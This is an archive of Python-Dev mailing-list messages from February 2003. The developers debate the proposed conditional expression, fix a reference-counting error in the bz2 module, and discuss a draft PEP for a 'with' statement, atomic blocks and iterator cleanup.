> > of variations on this theme (with while/list-comps/lambda) and 
> > people have reacted with punctuation (?:),  new keywords (when) 
> > and any mixture between those.  Clearly, you don't need the 
> > ternary operator for the above because there is an obvious 
> > other solution:
> > 
> >     if hasattr(obj, 'method') and obj.method():
> >         ...
> >         
> > and thus people indicated in various threads that having the ternary op
> > prevents people from getting to better and easier solutions. 
> 
> I'm sorry, but I am not at all swayed by the argument that this can be
> misused.  That argument has been used against every new proposal since
> Python 1.0.  But the existing constructs can be misused just as well.
> You can't prevent a poor programmer from writing poor code.

Sure, any construct can be abused.  Still there are gradual differences.
For example, introducing a new statement usually isn't as harmful 
to readability as new forms of expressions can be.  The latter can 
be used almost eveywhere. 

> The example you give is particularly unlikely because the 'and' idiom
> is well established for this particular case.

If somebody knows the right idiom then he will use it, sure.  But
somebody learning the ternary-op ("oh i know that from C, cool") 
might not even get to the point of knowing about python's special
and/or behaviour ("Oh i know boolean operations from C, right"). 
The ternary op then becomes the "obvious way to do it".  Thus
i am afraid that

     if obj.method() if hasattr(obj, 'method') else False:

is not that unlikely for a C-programmer learning Python in 2004
(in a dimension where PEP308 is effective).  

regards,

    holger


From niemeyer@conectiva.com  Mon Feb 10 03:35:12 2003
From: niemeyer@conectiva.com (Gustavo Niemeyer)
Date: Mon, 10 Feb 2003 01:35:12 -0200
Subject: [Python-Dev] UNREF invalid object
Message-ID: <20030210033512.GA16029@ibook.distro.conectiva>

Hello!

I've been playing with the bz2module to remove the file inheritance, as
requested. While doing so, I've got the "UNREF invalid object" error
when trying to run PyObject_Del(), inside a dealloc function, on an
object which is not "externally" accessible (it's part of the class
structure only, and has obj->ob_refcnt == 1, as expected). I'll replace
the PyObject_Del() by Py_DECREF() which fixes the problem and feels more
elegant to me anyway.  OTOH, I wouldn't like to get over the problem
without knowing what's really happening. Is this a common problem
pattern?

Thanks!

-- 
Gustavo Niemeyer

[ 2AAC 7928 0FBF 0299 5EB5  60E2 2253 B29A 6664 3A0C ]


From pedronis@bluewin.ch  Mon Feb 10 03:39:37 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Mon, 10 Feb 2003 04:39:37 +0100
Subject: [Python-Dev] vox populii illiterati
References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> <20030209165109.GO23059@epoch.metaslash.com> <20030209185732.W1706@prim.han.de> <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net> <20030210041746.F1706@prim.han.de>
Message-ID: <041301c2d0b6$091e4840$6d94fea9@newmexico>

From: "holger krekel" <pyth@devel.trillke.net>
> 
>      if obj.method() if hasattr(obj, 'method') else False:
> 

don't worry the pro-camp seems converging toward:

if if hasattr(obj,'method'): obj.method() else: False:

or

if (if hasattr(obj,'method'): obj.method() else: False):





From ark@research.att.com  Mon Feb 10 03:58:04 2003
From: ark@research.att.com (Andrew Koenig)
Date: 09 Feb 2003 22:58:04 -0500
Subject: [Python-Dev] vox populii illiterati
In-Reply-To: <041301c2d0b6$091e4840$6d94fea9@newmexico>
References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY>
 <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net>
 <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de>
 <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net>
 <20030209165109.GO23059@epoch.metaslash.com>
 <20030209185732.W1706@prim.han.de>
 <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net>
 <20030210041746.F1706@prim.han.de>
 <041301c2d0b6$091e4840$6d94fea9@newmexico>
Message-ID: <yu99hebclrcj.fsf@europa.research.att.com>

Samuele> From: "holger krekel" <pyth@devel.trillke.net>
>> 
>> if obj.method() if hasattr(obj, 'method') else False:
>> 

Samuele> don't worry the pro-camp seems converging toward:

Samuele> if if hasattr(obj,'method'): obj.method() else: False:

Samuele> or

Samuele> if (if hasattr(obj,'method'): obj.method() else: False):

I count myself in the pro-camp, and I would prefer

        if hasattr(obj,'method') and obj.method():

to any of the alternatives, for the obvious reason.  In fact, as a
pragmatic note, I wouldn't mind it if the compiler gave a warning
about

        if <cond>: True else: <expr>

or

        if <cond>: <expr> else: False

because they're equivalent to

        bool(cond) or <expr>

and

        bool(cond) and <expr>

respectively.


-- 
Andrew Koenig, ark@research.att.com, http://www.research.att.com/info/ark


From pedronis@bluewin.ch  Mon Feb 10 04:02:21 2003
From: pedronis@bluewin.ch (Samuele Pedroni)
Date: Mon, 10 Feb 2003 05:02:21 +0100
Subject: (OT) [Python-Dev] vox populii illiterati
References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY><200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net><3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de><200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net><20030209165109.GO23059@epoch.metaslash.com><20030209185732.W1706@prim.han.de><200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net><20030210041746.F1706@prim.han.de><041301c2d0b6$091e4840$6d94fea9@newmexico> <yu99hebclrcj.fsf@europa.research.att.com>
Message-ID: <04d301c2d0b9$36b8c0c0$6d94fea9@newmexico>

From: "Andrew Koenig" <ark@research.att.com>
> Samuele> From: "holger krekel" <pyth@devel.trillke.net>
> >>
> >> if obj.method() if hasattr(obj, 'method') else False:
> >>
>
> Samuele> don't worry the pro-camp seems converging toward:
>
> Samuele> if if hasattr(obj,'method'): obj.method() else: False:
>
> Samuele> or
>
> Samuele> if (if hasattr(obj,'method'): obj.method() else: False):
>
> I count myself in the pro-camp, and I would prefer
>
>         if hasattr(obj,'method') and obj.method():
>
> to any of the alternatives, for the obvious reason.

I wouldn't expect anything less from you.

I was just reporting on what kind if-then-else form the pro-camp is converging.

I take the chance to re-re-rember that I'm fully aware that:

_ and x or _

does not work in case x is false. Still when x is not false, it is working
Python.



From ark@research.att.com  Mon Feb 10 04:11:02 2003
From: ark@research.att.com (Andrew Koenig)
Date: Sun, 9 Feb 2003 23:11:02 -0500 (EST)
Subject: (OT) [Python-Dev] vox populii illiterati
In-Reply-To: <04d301c2d0b9$36b8c0c0$6d94fea9@newmexico> (pedronis@bluewin.ch)
References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY><200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net><3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de><200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net><20030209165109.GO23059@epoch.metaslash.com><20030209185732.W1706@prim.han.de><200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net><20030210041746.F1706@prim.han.de><041301c2d0b6$091e4840$6d94fea9@newmexico> <yu99hebclrcj.fsf@europa.research.att.com> <04d301c2d0b9$36b8c0c0$6d94fea9@newmexico>
Message-ID: <200302100411.h1A4B2r17774@europa.research.att.com>

>> I count myself in the pro-camp, and I would prefer

>> if hasattr(obj,'method') and obj.method():

>> to any of the alternatives, for the obvious reason.

Samuele> I wouldn't expect anything less from you.

:-)

Samuele> I was just reporting on what kind if-then-else form the
Samuele> pro-camp is converging.

I wish you had picked a less ugly example :-)

Samuele> I take the chance to re-re-rember that I'm fully aware that:

Samuele> _ and x or _

Samuele> does not work in case x is false. Still when x is not false,
Samuele> it is working Python.

Agreed.  Thanks.


From tim.one@comcast.net  Mon Feb 10 04:11:53 2003
From: tim.one@comcast.net (Tim Peters)
Date: Sun, 09 Feb 2003 23:11:53 -0500
Subject: [Python-Dev] UNREF invalid object
In-Reply-To: <20030210033512.GA16029@ibook.distro.conectiva>
Message-ID: <LNBBLJKPBEHFEDALKOLCGEDGDNAB.tim.one@comcast.net>

[Gustavo Niemeyer]
> I've been playing with the bz2module to remove the file inheritance, as
> requested. While doing so, I've got the "UNREF invalid object" error
> when trying to run PyObject_Del(), inside a dealloc function, on an
> object which is not "externally" accessible (it's part of the class
> structure only, and has obj->ob_refcnt == 1, as expected). I'll replace
> the PyObject_Del() by Py_DECREF() which fixes the problem and feels more
> elegant to me anyway.

It's not just more elegant, it's mandatory.  If you look at the expansion of
Py_DECREF, you'll find that it does all sorts of (necessary) things under
different build types.  In particular, under a debug build, calling
PyObject_Del() fails to unlink the object from the doubly-linked list of all
objects, and that's exactly the cause of an "UNREF invalid object" error.
Py_DECREF() instead arranges to call _Py_ForgetReference(), which (among
other things) does the unlinking in a debug build.  You *could* call all
that stuff yourself by hand, but then you'd need as much #ifdef pain as goes
into the expansion of Py_DECREF in order to get it all right.

> OTOH, I wouldn't like to get over the problem without knowing what's
> really happening.  Is this a common problem pattern?

Nope.  Everyone else <wink> calls PyObject_Del only on the "self" argument
to the type's tp_dealloc function (which is called *by* the expansion of
Py_DECREF(self), so self must not be subjected to a Py_DECREF again).
Everything else should go thru Py_DECREF, including contained objects.



From bac@OCF.Berkeley.EDU  Mon Feb 10 06:33:33 2003
From: bac@OCF.Berkeley.EDU (Brett Cannon)
Date: Sun, 9 Feb 2003 22:33:33 -0800 (PST)
Subject: [Python-Dev] Re: Atomic operations
In-Reply-To: <15938.40091.534416.426167@gargle.gargle.HOWL>
References: <200302031653.h13Grof20104@odiug.zope.com>
 <068a01c2cc8e$31e97140$6d94fea9@newmexico> <200302042057.h14KvEI26727@odiug.zope.com>
 <200302041843.30945.mclay@nist.gov> <200302050207.h1527tf21975@pcp02138704pcs.reston01.va.comcast.net>
 <001a01c2cd1e$a1e30d40$860bf5d1@PythonToy> <200302051448.h15EmL428173@odiug.zope.com>
 <20030205184351.GA17468@thyrsus.com> <15938.27939.731673.576239@gargle.gargle.HOWL>
 <15938.38361.935496.115469@slothrop.zope.com> <15938.40091.534416.426167@gargle.gargle.HOWL>
Message-ID: <Pine.SOL.4.53.0302092226110.26243@death.OCF.Berkeley.EDU>

[Barry A. Warsaw]

>
> >>>>> "JH" == Jeremy Hylton <jeremy@zope.com> writes:
>
>     JH> There was a good paper on this subject at LL2.  You can find
>     JH> it here: http://www.cs.williams.edu/~freund/papers.html
>
> Search for "Safe Asynchronous Exceptions For Python".
>
> Nice paper.  I don't much like the nested block:/unblock: construction
> (too much indentation), but the initially: part is nice.
>

Since Guido seems to have his summaries, I am going to assume the
discussion ban has been lifted (if I am wrong, Guido, let me know).

So I read the paper and it is kind of what I was thinking of.  I was
actually thinking more along the lines of having something like::

 atomic:
     lock()
 ...

with atomic basically shutting down threading temporarily until everything
in its body is executed.  This would basically make sure that no issues
would occur with code being changed while executing from other threads.
I would think this could be done by holding on to the GIL and not
releasing it under any conditions until the body is executed.  So with no
threading occuring you can be sure that your data will not be changed in
any *extremely* unexpected way (obviously you can write bad code that can
do unexpected things, but I am going to assume you are not going to).

Now obviously this could be abused, but as the if-then-else proposal as
pointed out, almost anything can be abused.

So maybe a good idea?  Totally hair-brained?

-Brett


From aleax@aleax.it  Mon Feb 10 07:27:12 2003
From: aleax@aleax.it (Alex Martelli)
Date: Mon, 10 Feb 2003 08:27:12 +0100
Subject: [Python-Dev] vox populii illiterati
In-Reply-To: <Pine.LNX.4.33.0302092000170.19249-100000@server1.lfw.org>
References: <Pine.LNX.4.33.0302092000170.19249-100000@server1.lfw.org>
Message-ID: <200302100827.12170.aleax@aleax.it>

On Monday 10 February 2003 03:06 am, Ka-Ping Yee wrote:
    ...
> It's not just that it's out of order -- it's that something gets
> short-circuited out of order.  The whole idea of the very *first*
> thing you see getting short-circuited is unacceptably weird and
> unexpected for me.

Forms such as:

    [ f(23) for f in stuff if callable(f) ]

have been in Python for years now, and you could indeed
say "the very first thing you see" (the call f(23)) is "getting
short-circuited" by an if-guard at the very end.  If ternaries
had syntax similar to list comprehensions (but with
mandatory if and else clauses and no for clause, instead
of a mandatory for clause and optional further clauses),
as in:

    [ f(23) if callable(f) else None ]

then people's familiarity with LCs (very popular constructs)
might help alleviate the "unexpectedness".  (Pity about the
brackets where no lists nor indexing nor slicing are involved ).


Alex



From ping@zesty.ca  Mon Feb 10 08:17:29 2003
From: ping@zesty.ca (Ka-Ping Yee)
Date: Mon, 10 Feb 2003 02:17:29 -0600 (CST)
Subject: [Python-Dev] vox populii illiterati
In-Reply-To: <200302100827.12170.aleax@aleax.it>
Message-ID: <Pine.LNX.4.33.0302100209430.31485-100000@server1.lfw.org>

On Mon, 10 Feb 2003, Alex Martelli wrote:
> Forms such as:
>
>     [ f(23) for f in stuff if callable(f) ]
>
> have been in Python for years now, and you could indeed
> say "the very first thing you see" (the call f(23)) is "getting
> short-circuited" by an if-guard at the very end.

As someone else said, i do consider this out-of-order evaluation
a drawback of list comprehensions, but the confusion is not so
bad because the entire construct is enclosed in brackets.
So at least the whole thing begins with a signal and has a
distinctive shape to the reader.

> syntax similar to list comprehensions (but with
> mandatory if and else clauses and no for clause, instead
> of a mandatory for clause and optional further clauses),
>
>     [ f(23) if callable(f) else None ]

Requiring the brackets here helps somewhat to signal grouping,
but the overload isn't really appropriate because there are no
collections involved.

The other difference is that, in your first example above,
every element of the result really will have the form f(23);
the extra clauses only select which elements appear.
In the second example, the result might have no relationship
at all to f(23).  The nature of the short-circuiting is quite
different -- so much so that i think it's quite a stretch to
refer to the first example as short-circuiting.


-- ?!ng



From j-david@noos.fr  Mon Feb 10 08:41:14 2003
From: j-david@noos.fr (=?ISO-8859-1?Q?Juan_David_Ib=E1=F1ez_Palomar?=)
Date: Mon, 10 Feb 2003 09:41:14 +0100
Subject: [Python-Dev] vox populii illiterati
In-Reply-To: <200302100103.h1A13bG30889@pcp02138704pcs.reston01.va.comcast.net>
References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY> <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net> <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de> <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net> <092801c2d090$585db740$6d94fea9@newmexico> <200302100103.h1A13bG30889@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <3E4765AA.8060207@noos.fr>

Guido van Rossum wrote:

>>ouch, that's an interesting pro twist:
>>
>>http://mail.zope.org/pipermail/zope-dev/2003-February/018725.html
>>
>>"... I think, we want an "if-then-else" expression for Zope, as it would
>>make decisions in TALES expressions ...
>>Do not forget to vote!"
>>    
>>
>
>Hm...  I think the current wisdom in TALES is to avoid python
>expressions if at all possible.
>
>--Guido van Rossum (home page: http://www.python.org/~guido/)
>
>  
>

There are many languages that use Python expressions and
that could benefit from the ".. if .. else .." clause. ZPT
is only an example. If to use Python expressions in ZPT
is against the current wisdom, this is probably not the
case with other languages.

I can remember an small example. The "Plural-Forms" header
of the PO files is expressed with a C expression, which
very often uses the ".. ? .. : .." clause. The current
implementation in the Python gettext module translates the
C expression to a Python expression with the help of a
"test" function. The code would be easier to understand
if Python had the ".. if .. else .." clause, because the
translation from the C to the Python expression would be
simpler, I think this is a good thing.


-- 
J. David Ibáñez, http://www.j-david.net
Software Engineer / Ingénieur Logiciel / Ingeniero de Software




From whisper@oz.net  Mon Feb 10 09:01:48 2003
From: whisper@oz.net (David LeBlanc)
Date: Mon, 10 Feb 2003 01:01:48 -0800
Subject: [Python-Dev] Vote-Pop
Message-ID: <GCEDKONBLEFPPADDJCOECEPMHPAA.whisper@oz.net>

Having read over all the vox populi thread, it seems to me:

* It's another way to do something that can already be done.

* It tends to obfusticate.

* It's not really all that much a savings in typing.

* It complicates the parser and thus makes room for more bugs.

* Some of the examples given confuse me as to whether or not a ternary op is
being introduced or a postfix condition, i.e: if a unless b:... (if a if not
b:...).

* No compelling use case that demonstrates correcting a limitation of the
language.

* No compelling use case that demonstrates an important new feature for the
language.

ternary op: -1

David LeBlanc
Seattle, WA USA



From Paul.Moore@atosorigin.com  Mon Feb 10 09:45:51 2003
From: Paul.Moore@atosorigin.com (Moore, Paul)
Date: Mon, 10 Feb 2003 09:45:51 -0000
Subject: [Python-Dev] Pre-PEP: with syntax (was: New syntax threads -- summary wanted)
Message-ID: <16E1010E4581B049ABC51D4975CEDB880113D8F1@UKDCX001.uk.int.atosorigin.com>

From: Brett Cannon [mailto:bac@OCF.Berkeley.EDU]
> So Guido made this request on Wed. morning EST and so far no one =
beyond me
> has responded.  Well, I am going to be starting on my rough of the =
summary
> in the near future.  Now obviously I need a summary of what occured in =
the
> thread.  This can happen one of two ways.

> One is that people summarize the parts of the thread that they heavily
> participated in and I build off of those (such as the PEP Paul and =
Michael
> are working on for the 'with' protocol; what is the ETA on that, you
> guys?).

Sorry. I held off posting the pre-PEP as I wanted the flurry of postings =
to
die down.

Here it is (I hope Exchange doesn't break the formatting...)
Paul.

PEP: XXXX
Title: Syntax for Reliable Acquisition/Release Pairs
Version: $Revision: $
Last-Modified: $Date: 2002/08/26 16:29:31 $
Author: Michael Hudson <mwh@python.net>,
        Paul Moore <gustav@morpheus.demon.co.uk>
Status: Draft
Type: Standards Track
Content-Type: text/plain
Created: 18-Dec-2002
Python-Version: 2.4
Post-History:


Abstract

    It would be nice to have a less typing-intense way of writing:

        the_lock.acquire()
        try:
            ....
        finally:
            the_lock.release()

    This PEP proposes a piece of syntax (a 'with' block) and a
    "small-i" interface that generalizes the above.


Rationale

    One of the advantages of Python's exception handling philosophy is
    that it makes it harder to do the "wrong" thing (e.g. failing to
    check the return value of some system call).  Currently, this does
    not apply to resource cleanup.  The current syntax for acquisition
    and release of a resource (for example, a lock) is=20

        the_lock.acquire()
        try:
            ....
        finally:
            the_lock.release()
   =20
    This syntax separates the acquisition and release by a (possibly
    large) block of code, which makes it difficult to confirm "at a
    glance" that the code manages the resource correctly.  Another
    common error is to code the "acquire" call within the try block,
    which incorrectly releases the lock if the acquire fails.


Basic Syntax and Semantics

    The syntax of a 'with' statement is as follows::

	'with' [ var '=3D' ] expr ':'
	    suite

    This statement is defined as being equivalent to the following
    sequence of statements:

	var =3D expr

	if hasattr(var, "__enter__"):
	    var.__enter__()

	try:
	    suite

	finally:
	    if hasattr(var, "__exit__"):
		var.__exit__()

    If the variable is omitted, an unnamed object is allocated on the
    stack.  In that case, the suite has no access to the unnamed object.


Possible Extensions

    A number of potential extensions to the basic syntax have been
    discussed on the Python Developers list.  None of these extensions
    are included in the solution proposed by this PEP.  In many cases,
    the arguments are nearly equally strong in both directions.  In
    such cases, the PEP has always chosen simplicity, simply because
    where extra power is needed, the existing try block is available.

    Multiple expressions

    One proposal was for allowing multiple expressions within one
    'with' statement.  The __enter__ methods would be called left to
    right, and the __exit__ methods right to left.  The advantage of
    doing so is that where more than one resource is being managed,
    nested 'with' statements will result in code drifting towards the
    right margin.  The solution to this problem is the same as for any
    other deep nesting - factor out some of the code into a separate
    function.  Furthermore, the question of what happens if one of the
    __exit__ methods raises an exception (should the other __exit__
    methods be called?) needs to be addressed.

    Exception handling

    An extension to the protocol to include an optional __except__
    handler, which is called when an exception is raised, and which
    can handle or re-raise the exception, has been suggested.  It is
    not at all clear that the semantics of this extension can be made
    precise and understandable.  For example, should the equivalent
    code be try ... except ... else if an exception handler is
    defined, and try ... finally if not?  How can this be determined
    at compile time, in general?  The alternative is to define the
    code as expanding to a try ... except inside a try ... finally.
    But this may not do the right thing in real life.

    The only use case identified for exception handling is with
    transactional processing (commit on a clean finish, and rollback
    on an exception).  This is probably just as easy to handle with a
    conventional try ... except ... else block, and so the PEP does
    not include any support for exception handlers.


Implementation Notes

    The optional assignment in

        'with' [ var '=3D' ] expr ':'

    was initially considered to be too hard to parse correctly.
    However, by parsing the statement as

        'with' expr [ '=3D' expr ] ':'

    and interpreting the result in the compiler phase, this can be
    worked around.

    There is a potential race condition in the code specified as
    equivalent to the with statement.  For example, if a
    KeyboardInterrupt exception is raised between the completion of
    the __enter__ method call and the start of the try block, the
    __exit__ method will not be called.  This can lead to resource
    leaks, or to deadlocks.  [XXX Guido has stated that he cares about
    this sort of race condition, and intends to write some C magic to
    handle them.  The implementation of the 'with' statement should
    copy this.]


Open Issues

    Should existing classes (for example, file-like objects and locks)
    gain appropriate __enter__ and __exit__ methods?  The obvious
    reason in favour is convenience (no adapter needed).  The argument
    against is that if built-in files have this but (say) StringIO
    does not, then code that uses "with" on a file object can't be
    reused with a StringIO object.  So __exit__ =3D close becomes a part
    of the "file-like object" protocol, which user-defined classes may
    need to support.

    The __enter__ hook may be unnecessary - for many use cases, an
    adapter class is needed and in that case, the work done by the
    __enter__ hook can just as easily be done in the __init__ hook.

    If a way of controlling object lifetimes explicitly was available,
    the function of the __exit__ hook could be taken over by the
    existing __del__ hook.  Unfortunately, no workable proposal for
    controlling object lifetimes has been made so far.


Alternative Ideas

    IEXEC: holger krekel -- generalised approach with XML-like syntax
                            (no URL found...)


Backwards Compatibility

    This PEP proposes a new keyword, so the __future__ game will need
    to be played. =20


References

    There are various python-list and python-dev discussions that
    could be mentioned here.


Copyright

    This document has been placed in the public domain.


=0C
Local Variables:
mode: indented-text
indent-tabs-mode: nil
sentence-end-double-space: t
fill-column: 70
End:


From mwh@python.net  Mon Feb 10 10:20:59 2003
From: mwh@python.net (Michael Hudson)
Date: Mon, 10 Feb 2003 10:20:59 +0000
Subject: [Python-Dev] For review: PEP 307 - Extensions to the pickle
 protocol
In-Reply-To: <200302071833.h17IXNl11929@odiug.zope.com> (Guido van Rossum's
 message of "Fri, 07 Feb 2003 13:33:23 -0500")
References: <200302071833.h17IXNl11929@odiug.zope.com>
Message-ID: <2mznp4l9mc.fsf@starship.python.net>

Guido van Rossum <guido@python.org> writes:

> I'm assuming a fair number of people have been following this already
> in the checkins list; I think it's ready for review on python-dev:
>
>   http://www.python.org/peps/pep-0307.html

Am I understanding correctly that this means the bozo __getstate__
method for classes with __slots__ can go away?

Cheers,
M.

-- 
93. When someone says "I want a programming language in which I
    need only say what I wish done," give him a lollipop.
  -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html


From mal@lemburg.com  Mon Feb 10 11:34:48 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Mon, 10 Feb 2003 12:34:48 +0100
Subject: [Python-Dev] Pre-PEP: with syntax (was: New syntax threads --
 summary	wanted)
In-Reply-To: <16E1010E4581B049ABC51D4975CEDB880113D8F1@UKDCX001.uk.int.atosorigin.com>
References: <16E1010E4581B049ABC51D4975CEDB880113D8F1@UKDCX001.uk.int.atosorigin.com>
Message-ID: <3E478E58.20607@lemburg.com>

Moore, Paul wrote:
> PEP: XXXX
> Title: Syntax for Reliable Acquisition/Release Pairs
> Version: $Revision: $
> Last-Modified: $Date: 2002/08/26 16:29:31 $
> Author: Michael Hudson <mwh@python.net>,
>         Paul Moore <gustav@morpheus.demon.co.uk>
> Status: Draft
> Type: Standards Track
> Content-Type: text/plain
> Created: 18-Dec-2002
> Python-Version: 2.4
> Post-History:
> 
> 
> Abstract
> 
>     It would be nice to have a less typing-intense way of writing:
> 
>         the_lock.acquire()
>         try:
>             ....
>         finally:
>             the_lock.release()
> 
>     This PEP proposes a piece of syntax (a 'with' block) and a
>     "small-i" interface that generalizes the above.

-1

I don't see the gain from adding new syntax for this. It is
rather likely that you want to do other cleanup stuff as well
in the finally clause. With your new syntax this would become:

try:
     with mylock:
         ...
finally:
     ... other cleanup code ...

The new syntax saves you one line and obscures the code
rather than clarifying what is happening (who knows what
mylock does in its __enter__/__exit__ method ?).

The original argument for this was not to save you typing,
it was built on the rather unlikely case where the process
receives a signal or MemoryError causing an exception while
executing the byte codes after calling .acquire() and before
entering the try-block.

However, that's not hard to deal with either because
all you need to do is place the .acquire() call inside
the try-block and then adding a check whether you have to
release the lock in the finally-clause.

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 10 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     50 days left
EuroPython 2003, Charleroi, Belgium:                       134 days left



From gmccaughan@synaptics-uk.com  Mon Feb 10 12:31:18 2003
From: gmccaughan@synaptics-uk.com (Gareth McCaughan)
Date: Mon, 10 Feb 2003 12:31:18 +0000
Subject: [Python-Dev] vox populii illiterati
Message-ID: <200302101231.18225.gmccaughan@synaptics-uk.com>

Alex Martelli wrote, replying to ?!ing:

> Forms such as:
> 
>     [ f(23) for f in stuff if callable(f) ]
> 
> have been in Python for years now, and you could indeed
> say "the very first thing you see" (the call f(23)) is "getting
> short-circuited" by an if-guard at the very end.

I think one reason why that isn't so troublesome is that
you can think of it as doing the filtering first: it's the
same as

    [f(23) for f in [f for f in stuff if callable(f)]]

where the only "short-circuiting" is the trivial sort
equivalent to a call to "filter". Except that the unexpanded
form is shorter and clearer and avoids a gratuitous
list allocation, of course.

But, actually, I've always felt slightly queasy about the
syntax for filtering in listcomps, because of the way that
it interrupts the "right-to-left" dataflow. I'm not sure

    [f(23) if callable(f) for f in stuff]

is really any better, though. Maybe it should have been

    [for f in stuff: if callable(f): f(23)]

<0.5 tim>. Actually, I *like* that, because it makes the
behaviour of nested listcomps clearer. Oh well.

                           *

Speaking of filtering listcomps, am I unusual in thinking
it would be nice if you could say "[t in I if C]"
instead of "[t for t in I if C]" when all you want
is the filtering effect? I suspect I may be, since
the shorter form is less logical than the longer.
Perhaps the main reason why I want it is that it seems
to be what my fingers always type for me when I write
a filtering listcomp.

-- 
g



From arigo@tunes.org  Mon Feb 10 12:38:18 2003
From: arigo@tunes.org (Armin Rigo)
Date: Mon, 10 Feb 2003 13:38:18 +0100
Subject: [Python-Dev] Extended Function syntax
In-Reply-To: <20030203161042.GA15970@magma.unil.ch>
References: <200301302225.h0UMP4T01502@oma.cosc.canterbury.ac.nz> <061701c2cafb$2387ce60$6d94fea9@newmexico> <Pine.SOL.4.53.0302021333070.23477@death.OCF.Berkeley.EDU> <200302022250.37389.aleax@aleax.it> <Pine.SOL.4.53.0302021354310.23477@death.OCF.Berkeley.EDU> <07d301c2cb08$7c2d0fa0$6d94fea9@newmexico> <20030203161042.GA15970@magma.unil.ch>
Message-ID: <20030210123818.GA13594@magma.unil.ch>

Hello everybody,

Sorry to reply to myself, just wanted to mention that I found a real need for
iterators to have an explicit "finally" action.  For my program I will have to
invent some convoluted way of doing it :-(

On Mon, Feb 03, 2003 at 05:10:42PM +0100, Armin Rigo wrote:
> If no first-class thunks are wanted, then maybe the most direct path from
> today to auto-closing files is to extend the iterator protocol with an
> optional __leave__() method.  It would be called exactly once when the
> iterator is considered to be exhausted.  The semantics of 'for' would be
> modified to always call it at the end of the loop, even when an exception or a
> return occurs within the loop.

This seems (to me) natural because in generators you could then put a 'yield'
inside of a 'try-finally' pair.  The semantics of

  def g():
    try:
      yield 5
    finally:
      <so-some-cleanup>

are quite clear if it is guaranteed that

  for x in g():
    ...

always cause the 'finally' part of the generator to be called at the end of
the loop.  That's even something that is straightforward to implement, given
that loops already set up a block stack entry, just like try-finally clauses.  
It just adds an extra function to the iterator protocol (we could even
reasonably re-use tp_clear, for example).


Armin


From walter@livinglogic.de  Mon Feb 10 12:45:17 2003
From: walter@livinglogic.de (=?ISO-8859-1?Q?Walter_D=F6rwald?=)
Date: Mon, 10 Feb 2003 13:45:17 +0100
Subject: [Python-Dev] Unicode filenames
In-Reply-To: <r01050400-1023-FFDE15C73C2511D7A290003065D5E7E4@[10.0.0.23]>
References: <r01050400-1023-FFDE15C73C2511D7A290003065D5E7E4@[10.0.0.23]>
Message-ID: <3E479EDD.6050508@livinglogic.de>

Just van Rossum wrote:

> [...]
> BTW. if I try to create a file with an 8-bit filename which is _not_
> valid utf-8, I get a strange error:
> 
>   >>> f = open("\xff", "w")
>   Traceback (most recent call last):
>     File "<stdin>", line 1, in ?
>   IOError: invalid mode: w
>   >>> 
> 
> This exception is thrown when errno is EINVAL, which apparently can also
> mean that the filename arg is bad. Not sure if we can fix this.

But when the system default encoding (i.e. sys.getdefaultencoding()) and
the file system encoding are different, I'd say the filename has to be
transcoded from the system default encoding to the filesystem encoding
before it is used.

Bye,
    Walter Dörwald



From guido@python.org  Mon Feb 10 12:49:07 2003
From: guido@python.org (Guido van Rossum)
Date: Mon, 10 Feb 2003 07:49:07 -0500
Subject: [Python-Dev] vox populii illiterati
In-Reply-To: "Your message of Mon, 10 Feb 2003 04:39:37 +0100."
 <041301c2d0b6$091e4840$6d94fea9@newmexico>
References: <000001c2cf9a$0e5a3020$6601a8c0@NICKLEBY>
 <200302081830.h18IULx19856@pcp02138704pcs.reston01.va.comcast.net>
 <3E4668F3.8020904@lemburg.com> <20030209155635.T1706@prim.han.de>
 <200302091539.h19FdTC29645@pcp02138704pcs.reston01.va.comcast.net>
 <20030209165109.GO23059@epoch.metaslash.com>
 <20030209185732.W1706@prim.han.de>
 <200302100154.h1A1sHR31223@pcp02138704pcs.reston01.va.comcast.net>
 <20030210041746.F1706@prim.han.de> <041301c2d0b6$091e4840$6d94fea9@newmexico>
Message-ID: <200302101249.h1ACn7132627@pcp02138704pcs.reston01.va.comcast.net>

> don't worry the pro-camp seems converging toward:
> 
> if if hasattr(obj,'method'): obj.method() else: False:
> 
> or
> 
> if (if hasattr(obj,'method'): obj.method() else: False):

If that's really the case, I'll gladly rewrite the PEP to use that;
it's not too bad, has no new keywords, and the out-of-order evaluation
of the current proposal is beginning to bother me more and more.

Still, I'm beginning to be more and more against any form of
if-then-else; I'm not yet sure why that is, but I think that I don't
see enough places where it's needed, and I find code using it often
harder to read.  Part of that is my general problem with decyphering
expressions with control flow -- my brain is wired to deal with
control flow at the statement level very efficiently, but not at the
expression level.

--Guido van Rossum (home page: http://www.python.org/~guido/)


